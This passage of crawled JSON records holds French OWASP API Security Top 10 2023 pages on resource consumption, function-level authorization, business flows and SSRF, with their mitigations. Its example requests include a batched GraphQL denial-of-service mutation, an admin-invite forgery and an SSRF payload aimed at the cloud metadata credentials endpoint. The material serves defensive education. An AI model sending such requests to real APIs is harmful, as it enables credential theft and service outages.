OWASP API Security Top 10 2019](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/)\n- [Mass Assignment Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n\n### Externes\n\n- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 6490, "slov": 888, "odkazu": 70, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:14", "sha256": "0dd42c4d01fc2a5fbd796a3978d695c681002473d84591ee01f80c87bdcfdcc0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa4-unrestricted-resource-consumption/", "titulek": "API4:2023 Unrestricted Resource Consumption - OWASP API Security Top 10", "h1": "API4:2023 Unrestricted Resource Consumption", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa4-unrestricted-resource-consumption/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2023 Unrestricted Resource Consumption"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 3, "text": "Scénario #3"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API4:2023 Unrestricted Resource Consumption\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Moyenne** | Prévalence **Répandue** : Détection **Facile** | Technique **Grave** : Spécifique à l'organisation |\n| L'exploitation de cette faille nécessite des requêtes API simples. Plusieurs requêtes simultanées peuvent être effectuées à partir d'un seul ordinateur local ou en utilisant des ressources cloud. La plupart des outils automatisés disponibles sont conçus pour provoquer un déni de service (DoS) via des charges de trafic élevées, impactant le taux de service des API. | Il est courant de trouver des API qui ne limitent pas les interactions client ou la consommation de ressources. Écrire et tester avec des requêtes API incluant des paramètres qui contrôlent le nombre de ressources à renvoyer et qui effectuent une analyse de l'état/du temps/de la longueur de la réponse, devraient permettre d'identifier le problème. Il en va de même pour les opérations groupées. Bien que les attaquants n'aient pas de visibilité sur l'impact des coûts, cela peut être déduit en fonction du modèle commercial/tarifaire des fournisseurs de services (par exemple, le fournisseur de services cloud). | L'exploitation peut entraîner un déni de service (DoS) en raison de l'épuisement des ressources, mais elle peut également entraîner une augmentation des coûts opérationnels tels que ceux liés à l'infrastructure : en raison d'une demande accrue en CPU, l'augmentation des besoins en stockage sur le cloud, etc. |\n\n## L'API est-elle vulnérable ?\n\nSatisfaire les requêtes API nécessite des ressources telles que la bande passante réseau, le CPU, la mémoire et le stockage. Parfois, les ressources requises sont mises à disposition par les fournisseurs de services via des intégrations API, et payées par requête, comme l'envoi d'e-mails/SMS/appels téléphoniques, la validation biométrique, etc.\n\nUne API est vulnérable si au moins l'une des limites suivantes est manquante ou définie de manière inappropriée (par exemple, trop basse/élevée) :\n\n- Limites de temps d'exécution\n- Mémoire allouable maximale\n- Nombre maximal de descripteurs de fichiers (file descriptors)\n- Nombre maximal de processus\n- Taille maximale de fichier téléchargeable (upload)\n- Nombre d'opérations à effectuer dans une seule requête client API (par exemple, le regroupement GraphQL)\n- Nombre d'enregistrements par page à renvoyer dans une seule requête-réponse\n- Limite de dépenses des fournisseurs de services tiers\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUn réseau social a mis en place un flux de \"mot de passe oublié\" utilisant la vérification par SMS, permettant à l'utilisateur de recevoir un jeton unique via SMS pour réinitialiser son mot de passe.\n\nUne fois qu'un utilisateur clique sur \"mot de passe oublié\", un appel API est envoyé depuis le navigateur de l'utilisateur vers l'API back-end :\n\n```\nPOST /initiate_forgot_password\n\n{\n \"step\": 1,\n \"user_number\": \"6501113434\"\n}\n```\n\nEnsuite, en coulisses, un appel API est envoyé depuis le back-end vers une API tierce qui se charge de l'envoi du SMS :\n\n```\nPOST /sms/send_reset_pass_code\n\nHost: willyo.net\n\n{\n \"phone_number\": \"6501113434\"\n}\n```\n\nLe fournisseur tiers, Willyo, facture 0,05 $ par envoi SMS.\n\nUn attaquant écrit un script qui envoie le premier appel API des dizaines de milliers de fois. Le back-end suit et demande à Willyo d'envoyer des dizaines de milliers de SMS, ce qui conduit l'entreprise à perdre des milliers de dollars en quelques minutes.\n\n### Scénario #2\n\nUn endpoint API GraphQL permet à l'utilisateur de télécharger une photo de profil.\n\n```\nPOST /graphql\n\n{\n \"query\": \"mutation {\n uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {\n url\n }\n }\"\n}\n```\n\nUne fois le téléchargement terminé, l'API génère plusieurs miniatures de tailles différentes basées sur l'image téléchargée. Cette opération graphique consomme beaucoup de mémoire.\n\nL'API met en œuvre une protection traditionnelle de \"rate limiting\" - un utilisateur ne peut pas accéder trop de fois à l'endpoint GraphQL en peu de temps. L'API vérifie également la taille de l'image téléchargée avant de générer des miniatures pour éviter de traiter des images trop grandes.\n\nUn attaquant peut facilement contourner ces mécanismes, en exploitant la nature flexible de GraphQL :\n\n```\nPOST /graphql\n\n[\n {\"query\": \"mutation {uploadPic(name: \\\"pic1\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n {\"query\": \"mutation {uploadPic(name: \\\"pic2\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n ...\n {\"query\": \"mutation {uploadPic(name: \\\"pic999\\\", base64_pic: \\\"R0FOIEFOR0xJVA…\\\") {url}}\"},\n}\n```\n\nComme l'API ne limite pas le nombre de fois où l'opération `uploadPic` peut être tentée, l'appel entraînera l'épuisement de la mémoire du serveur et un déni de service.\n\n### Scénario #3\n\nUn fournisseur de services permet aux clients de télécharger des fichiers de grande taille via une API. Ces fichiers sont stockés dans un stockage d'objets cloud et ne changent pas souvent. Le fournisseur de services s'appuie sur un service de cache pour avoir un meilleur taux de service et pour maintenir une faible consommation de bande passante. Le service de cache ne met en cache que les fichiers ayant une taille de maximum 15 Go.\n\nQuand l'un des fichiers est mis à jour, sa taille augmente à 18 Go. Tous les clients du service commencent immédiatement à télécharger la nouvelle version. Comme il n'y a pas eu d'alertes sur le coût de consommation, ni de limite de coût maximal pour le service cloud, la facture mensuelle suivante passe de 13 $ en moyenne à 8 000 $.\n\n- Utilisez une solution qui facilite la limitation de la [mémoire](https://docs.docker.com/config/containers/resource_constraints/#memory) , du [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , du [nombre de redémarrages](https://docs.docker.com/engine/reference/commandline/run/#restart) , des descripteurs de fichiers et des processus tels que les conteneurs / le code Serverless (par exemple, les Lambdas).\n- Définissez et appliquez une taille maximale de données sur tous les paramètres et payloads entrants, telle que la longueur maximale des chaînes, le nombre maximal d'éléments dans les tableaux et la taille maximale des fichiers téléchargés (qu'ils soient stockés localement ou dans un stockage cloud).\n- Mettez en place une limite sur la fréquence à laquelle un client peut interagir avec l'API dans un intervalle de temps défini (rate limiting).\n- Le \"rate limiting\" doit être ajustée méticuleusement en fonction des besoins de l'entreprise. Certains points d'accès API peuvent nécessiter des politiques plus strictes.\n- Limitez/ralentissez le nombre de fois ou la fréquence à laquelle un client/utilisateur API défini peut exécuter certaines opérations (par exemple, valider un OTP, ou demander une récupération de mot de passe sans visiter l'URL à usage unique).\n- Ajoutez une validation appropriée côté serveur pour les paramètres de la requête et son contenu, en particulier ceux qui contrôlent le nombre d'enregistrements à renvoyer dans la réponse (principe de pagination).\n- Configurez des limites de dépenses pour tous les fournisseurs de services/intégrations API. Lorsque cela n'est pas possible, configurez plutôt des alertes de facturation.\n\n## Références\n\n### OWASP\n\n- [\"Availability\" - Web Service Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability)\n- [\"DoS Prevention\" - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention)\n- [\"Mitigating Batching Attacks\" - GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks)\n\n### Externes\n\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-799: Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- \"Rate Limiting (Throttling)\" - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf) , NIST", "znaku_textu": 8170, "slov": 1119, "odkazu": 75, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:28", "sha256": "5dd74e7a7a13b8a685ed983d2710e19260d64144fd1888fb010db0c885531a1c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/770.html", "https://cwe.mitre.org/data/definitions/400.html", "https://cwe.mitre.org/data/definitions/799.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa5-broken-function-level-authorization/", "titulek": "API5:2023 Broken Function Level Authorization - OWASP API Security Top 10", "h1": "API5:2023 Broken Function Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa5-broken-function-level-authorization/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2023 Broken Function Level Authorization"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API5:2023 Broken Function Level Authorization\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Grave** : Spécifique à l'organisation |\n| L'exploitation nécessite que l'attaquant envoie des appels API légitimes à un point d'accès API auquel il ne devrait pas avoir accès en tant qu'utilisateur anonyme ou utilisateur régulier, non privilégié. Les points d'accès exposés seront facilement exploités. | Les vérifications d'autorisation pour une fonction ou une ressource sont généralement gérées via la configuration ou le code. Implémenter des vérifications appropriées peut être une tâche confuse car les applications modernes peuvent contenir de nombreux types de rôles, de groupes et de hiérarchies d'utilisateurs complexes (par exemple, des sous-utilisateurs ou des utilisateurs avec plus d'un rôle). Il est plus facile de découvrir ces failles dans les API car les API sont plus structurées et l'accès à différentes fonctions est plus prévisible. | De telles failles permettent aux attaquants d'accéder à des fonctionnalités non autorisées. Les fonctions d'administration sont des cibles clés pour ce type d'attaque et peuvent entraîner une divulgation de données, une perte de données ou une corruption de données. En fin de compte, cela peut entraîner une interruption de service. |\n\n## L'API est-elle vulnérable ?\n\nLa meilleure façon de trouver des problèmes d'autorisation au niveau de la fonction est de réaliser une analyse approfondie du mécanisme d'autorisation tout en gardant à l'esprit la hiérarchie des utilisateurs, les différents rôles ou groupes dans l'application, et en posant les questions suivantes :\n\n- Un utilisateur régulier peut-il accéder à des points d'accès d'administration ?\n- Un utilisateur peut-il effectuer des actions sensibles (par exemple, création, modification ou suppression) auxquelles il ne devrait pas avoir accès en modifiant simplement la méthode HTTP (par exemple, de `GET` à `DELETE` ) ?\n- Un utilisateur du groupe X peut-il accéder à une fonction qui devrait être exposée uniquement aux utilisateurs du groupe Y, en devinant simplement l'URL de l'endpoint et les paramètres (par exemple, `/api/v1/users/export_all` ) ?\n\nNe supposez pas qu'un point d'accès API est quelconque ou au contraire est un endpoint d'administration seulement par son URL.\n\nCertains développeurs peuvent choisir d'exposer la plupart des points d'accès d'administration sous un chemin relatif spécifique, comme `/api/admins`, mais il est également très courant de les trouver sous d'autres chemins relatifs, partagés avec d'autres endpoints plus classiques dans les applications, comme `/api/users`.\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nPendant le processus d'inscription pour une application qui n'autorise que les utilisateurs invités à rejoindre, l'application mobile déclenche un appel API à `GET /api/invites/{invite_guid}`. La réponse contient un JSON avec les détails de l'invitation, y compris le rôle de l'utilisateur et l'e-mail de l'utilisateur.\n\nUn attaquant duplique la requête et manipule la méthode HTTP et le point d'accès pour `POST /api/invites/new`. Cet endpoint ne devrait être accessible que par les administrateurs via la console d'administration. L'endpoint ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction.\n\nL'attaquant exploite le problème et envoie une nouvelle invitation avec des privilèges administrateur :\n\n```\nPOST /api/invites/new\n\n{\n \"email\": \"[email protected]\",\n \"role\":\"admin\"\n}\n```\n\nPlus tard, l'attaquant utilise l'invitation malveillante pour se créer un compte administrateur et obtenir un accès complet au système.\n\n### Scénario #2\n\nUne API contient un point d'accès qui ne devrait être exposé qu'aux administrateurs - `GET /api/admin/v1/users/all`. Cet endpoint renvoie les détails de tous les utilisateurs de l'application et ne met pas en œuvre de vérifications d'autorisation au niveau de la fonction. Un attaquant ayant compris la structure de l'API devine adroitement comment accéder à cet endpoint, par l'URL, et retrouve ainsi tous les détails sensibles des utilisateurs pour cette application.\n\nVotre application doit disposer d'un module d'autorisation cohérent et facile à analyser qui est invoqué depuis toutes vos fonctions métier. Souvent, cette protection est fournie par un ou plusieurs composants externes au code de l'application.\n\n- Le(s) mécanisme(s) de contrôle d'accès doivent refuser tout accès par défaut, exigeant des autorisations explicites pour des rôles spécifiques pour accéder à chaque fonction.\n- Passez en revue vos endpoints contre les failles d'autorisation au niveau de la fonction, tout en gardant à l'esprit la logique métier de l'application et la hiérarchie des groupes.\n- Assurez-vous que tous vos contrôleurs d'administration héritent d'un contrôleur d'administration abstrait qui implémente des vérifications d'autorisation basées sur le groupe/le rôle de l'utilisateur.\n- Assurez-vous que les fonctions d'administration adjointes à un contrôleur régulier (i.e. non dédié à l'admistration de l'application, e.g. : PaymentController, InvitationController, etc.) implémentent des vérifications d'autorisation basées sur le groupe et le rôle de l'utilisateur.\n\n## Références\n\n### OWASP\n\n- [Forced Browsing](https://owasp.org/www-community/attacks/Forced_browsing)\n- \"A7: Missing Function Level Access Control\", [OWASP Top 10 2013](https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf)\n- [Access Control](https://owasp.org/www-community/Access_Control)\n\n### Externes\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 5662, "slov": 780, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:38", "sha256": "06cae595e8e4a27d2ae27beadfdc993574efc363c1dd20eb7ee2c00fdc30faab", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows/", "titulek": "API6:2023 Unrestricted Access to Sensitive Business Flows - OWASP API Security Top 10", "h1": "API6:2023 Unrestricted Access to Sensitive Business Flows", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa6-unrestricted-access-to-sensitive-business-flows/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2023 Unrestricted Access to Sensitive Business Flows"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 3, "text": "Scénario #3"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}], "markdown": "# API6:2023 Unrestricted Access to Sensitive Business Flows\n\n| Facteurs de menace/Vecteurs d'attaque | Faille de sécurité | Impacts |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détectabilité **Moyenne** | Technique **Modérée** : Spécifique à l'organisation |\n| L'exploitation implique généralement de comprendre le modèle commercial soutenu par l'API, de trouver des flux commerciaux sensibles et d'automatiser l'accès à ces flux, causant des dommages à l'entreprise. | Le manque de vue holistique de l'API pour soutenir pleinement les exigences commerciales tend à contribuer à la prévalence de ce problème. Les attaquants identifient manuellement les ressources (par exemple, les points d'accès) impliquées dans le flux cible et comment elles fonctionnent ensemble. Si des mécanismes d'atténuation sont déjà en place, les attaquants doivent trouver un moyen de les contourner. | En général, l'impact technique n'est pas attendu. L'exploitation pourrait nuire à l'entreprise de différentes manières, par exemple : empêcher les utilisateurs légitimes d'acheter un produit, ou entraîner une inflation dans l'économie. |\n\n## L'API est-elle vulnérable ?\n\nLors de la création d'un point d'accès (endpoint) API, il est important de comprendre le flux commercial qu'il expose. Certains flux commerciaux sont plus sensibles que d'autres, dans le sens où un accès excessif à ces flux peut nuire à l'entreprise.\n\nDes exemples courants de flux commerciaux sensibles et des risques d'accès excessif associés :\n\n- Achat d'un produit - un attaquant peut acheter tout le stock d'un article très demandé en une fois et de tous les revendre à un prix plus élevé\n- Création d'un flux de commentaires/publications - un attaquant peut spammer le système\n- Réservation - un attaquant peut réserver tous les créneaux horaires disponibles\n et empêcher d'autres utilisateurs d'utiliser le système\n\nLe risque d'accès excessif peut varier entre les secteurs et les entreprises. Par exemple, la création de publications par un script peut être considérée comme un risque de spam par un réseau social, mais encouragée par un autre réseau social.\n\nUne API est vulnérable si elle expose un flux commercial sensible sans restreindre de manière appropriée l'accès à celui-ci.\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUne entreprise de tech annonce qu'elle va sortir une nouvelle console de jeu le jour de Thanksgiving. Le produit est très demandé et le stock est limité. Un attaquant écrit un code pour acheter automatiquement le nouveau produit et finaliser la transaction.\n\nLe jour de la sortie, l'attaquant exécute le code distribué sur différentes adresses IP et emplacements. L'API ne met pas en place les protections appropriées et permet à l'attaquant d'acheter la majorité du stock avant les autres utilisateurs légitimes.\n\nPlus tard, l'attaquant revend le produit sur une autre plateforme pour un prix beaucoup plus élevé.\n\n### Scénario #2\n\nUne compagnie aérienne propose l'achat de billets en ligne sans frais d'annulation. Un utilisateur malveillant réserve 90% des sièges d'un vol désiré.\n\nQuelques jours avant le vol, l'utilisateur malveillant annule tous les billets en une seule fois, forçant la compagnie aérienne à réduire les prix des billets pour remplir le vol.\n\nÀ ce stade, l'utilisateur achète un seul billet qui est beaucoup moins cher que le billet original.\n\n### Scénario #3\n\nUne application de covoiturage propose un programme de parrainage - les utilisateurs peuvent inviter leurs amis et gagner des crédits pour chaque ami qui a rejoint l'application. Ces crédits peuvent être utilisés plus tard comme de l'argent pour réserver des trajets.\n\nUn attaquant exploite ce flux en écrivant un script pour automatiser le processus d'inscription, chaque nouvel utilisateur ajoutant des crédits au portefeuille de l'attaquant.\n\nL'attaquant peut ensuite profiter de trajets gratuits ou vendre les comptes avec des crédits excessifs contre de l'argent.\n\nLa planification de mitigation doit être effectuée en deux couches :\n\n- Business - identifier les flux commerciaux qui pourraient nuire à l'entreprise s'ils \"taient utilisés de manière excessive.\n- Ingénierie - choisir les bons mécanismes de protection pour atténuer le risque commercial. Certains mécanismes de protection sont plus simples tandis que d'autres sont plus difficiles à mettre en œuvre. Les méthodes suivantes sont utilisées pour ralentir les menaces automatisées : Sécurisez et limitez l'accès aux API qui sont consommées directement par des machines (comme les API de développeur et B2B). Elles sont souvent une cible facile pour les attaquants car elles n'implémentent souvent pas tous les mécanismes de protection nécessaires.\n - Empreinte de l'appareil : refuser le service aux appareils clients inattendus (par exemple, les navigateurs sans interface graphique) tend à inciter les acteurs malveillants à utiliser des solutions plus sophistiquées, donc plus coûteuses pour eux\n - Détection humaine : utiliser soit un captcha, soit des solutions biométriques plus avancées (par exemple : biométrie par modèles de frappe)\n - Modèles non humains : analyser le flux de l'utilisateur pour détecter les modèles non humains (par exemple, l'utilisateur a accédé aux fonctions \"ajouter au panier\" et \"compléter l'achat\" en moins d'une seconde)\n - Considérer le blocage des adresses IP des nœuds de sortie Tor et des proxies bien connus\n\n## Références\n\n### OWASP\n\n- [OWASP Automated Threats to Web Applications](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [API10:2019 Insufficient Logging & Monitoring](https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/)", "znaku_textu": 5605, "slov": 817, "odkazu": 66, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:45", "sha256": "b0099ce4a55c09deede505a635b18e7e47f9e169b1fa3e3163259ee3bdf02d12", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fr/0xa7-server-side-request-forgery/", "titulek": "API7:2023 Server Side Request Forgery - OWASP API Security Top 10", "h1": "API7:2023 Server Side Request Forgery", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fr/0xa7-server-side-request-forgery/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2023 Server Side Request Forgery"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemple de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API7:2023 Server Side Request Forgery\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impacts |\n| --- | --- | --- |\n| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Facile** | Technique **Modérée** : Spécifique à l'organisation |\n| L'exploitation nécessite que l'attaquant trouve un point d'accès API qui accède à une URI fournie par le client. En général, l'exploitation de la SSRF de base (lorsque la réponse est renvoyée à l'attaquant) est plus facile que la SSRF aveugle, dans laquelle l'attaquant n'a aucun retour d'information sur le succès de l'attaque. | Les concepts modernes de développement d'applications encouragent les développeurs à accéder à des URI fournies par le client. Le manque de validation ou une validation incorrecte de ces URI sont des problèmes courants. L'analyse des réponses et des requêtes associées sera nécessaire pour détecter le problème. Lorsque la réponse n'est pas renvoyée (SSRF aveugle), la détection de la vulnérabilité nécessite plus d'efforts et de créativité. | L'exploitation réussie peut entraîner une énumération des services internes (par exemple, un balayage de ports), une divulgation d'informations, le contournement des pare-feu ou d'autres mécanismes de sécurité. Dans certains cas, cela peut entraîner un déni de service ou l'utilisation du serveur comme proxy pour masquer des activités malveillantes. |\n\n## L'API est-elle vulnérable ?\n\nLa SSRF (Server-Side Request Forgery) se produit lorsqu'une API récupère une ressource distante sans valider l'URL fournie par l'utilisateur. Cela permet à un attaquant de forcer l'application à envoyer une requête forgée vers une destination inattendue, même si elle est protégée par un pare-feu ou un VPN.\n\nLes concepts modernes de développement d'applications rendent la SSRF plus courante et plus dangereuse.\n\nEncore plus courant - les concepts suivants encouragent les développeurs à accéder à une ressource externe en fonction de l'entrée utilisateur : les webhooks, le téléchargement de fichiers à partir d'URL, les SSO personnalisés et les aperçus d'URL.\n\nEncore plus dangereux - les technologies modernes comme les fournisseurs de cloud, Kubernetes et Docker exposent des canaux de gestion et de contrôle via HTTP sur des chemins prévisibles et bien connus. Ces canaux sont une cible facile pour une attaque SSRF.\n\nIl est de plus en plus difficile de limiter le trafic sortant de votre application, en raison de la nature connectée des applications modernes.\n\nLe risque de SSRF ne peut pas toujours être complètement éliminé. Lors du choix d'un mécanisme de protection, il est important de tenir compte des risques et des besoins de l'entreprise.\n\n## Exemple de scénarios d'attaque\n\n### Scénario #1\n\nUn réseau social permet aux utilisateurs de télécharger des photos de profil. L'utilisateur peut choisir de télécharger le fichier image depuis sa machine, ou de fournir l'URL de l'image. En choisissant la seconde option, cela déclenchera l'appel API suivant :\n\n```\nPOST /api/profile/upload_picture\n\n{\n \"picture_url\": \"http://example.com/profile_pic.jpg\"\n}\n```\n\nUn attaquant peut envoyer une URL malveillante et initier un balayage de ports à l'intérieur du réseau interne en utilisant le point d'accès API.\n\n```\n{\n \"picture_url\": \"localhost:8080\"\n}\n```\n\nEn fonction du temps de réponse, l'attaquant peut déterminer si le port est ouvert ou non.\n\n### Scénario #2\n\nUn service de sécurité génère des événements lorsqu'il détecte des anomalies dans le réseau. Certaines équipes préfèrent examiner les événements dans un système de surveillance plus large et plus générique, tel qu'un SIEM (Security Information and Event Management). À cette fin, le produit fournit une intégration avec d'autres systèmes en utilisant des webhooks.\n\nDans le cadre de la création d'un nouveau webhook, une mutation GraphQL est envoyée avec l'URL de l'API SIEM.\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://www.siem-system.com/create_new_event\\\",\n send_test_req: true\n }\n ]\n }\n }){\n channelId\n }\n }\"\n }\n]\n```\n\nPendant le processus de création, l'API back-end envoie une requête de test à l'URL du webhook fournie, et présente à l'utilisateur la réponse.\n\nUn attaquant peut exploiter ce flux, et faire en sorte que l'API envoie une requête à une ressource sensible, telle qu'un service interne cloud de métadonnées qui expose des informations d'identification :\n\n```\nPOST /graphql\n\n[\n {\n \"variables\": {},\n \"query\": \"mutation {\n createNotificationChannel(input: {\n channelName: \\\"ch_piney\\\",\n notificationChannelConfig: {\n customWebhookChannelConfigs: [\n {\n url: \\\"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\\\",\n send_test_req: true\n }\n ]\n }\n }) {\n channelId\n }\n }\n }\n]\n```\n\nPuisque l'application affiche la réponse de la requête de test, l'attaquant peut voir les informations d'identification de l'environnement cloud.\n\n- Isoler le mécanisme de récupération des ressources dans votre réseau : ces fonctionnalités sont généralement destinées à récupérer des ressources distantes et non internes.\n- Chaque fois que possible, utilisez des listes d'autorisation :\n - Les origines distantes à partir desquelles les utilisateurs sont censés télécharger des ressources (par exemple, Google Drive, Gravatar, etc.)\n - Les schémas d'URL et les ports\n - Les types de médias acceptés pour une fonctionnalité donnée\n- Désactivez les redirections HTTP.\n- Utilisez un analyseur d'URL bien testé et maintenu pour éviter les problèmes causés par des incohérences d'analyse d'URL.\n- Validez et assainissez toutes les données d'entrée fournies par le client.\n- Ne renvoyez pas de réponses brutes aux clients.\n\n## Références\n\n### OWASP\n\n- [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n- [Server-Side Request Forgery Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n### Externes\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies,\n Snyk](https://snyk.io/blog/url-confusion-vulnerabilities/)", "znaku_textu": 6231, "slov": 854, "odkazu": 68, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:50", "sha256": "8a4fe19ba1d1aa21ad5bcabf9a54dbf9c77308cf38d13cd6ff89a9209ef04cb0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html", 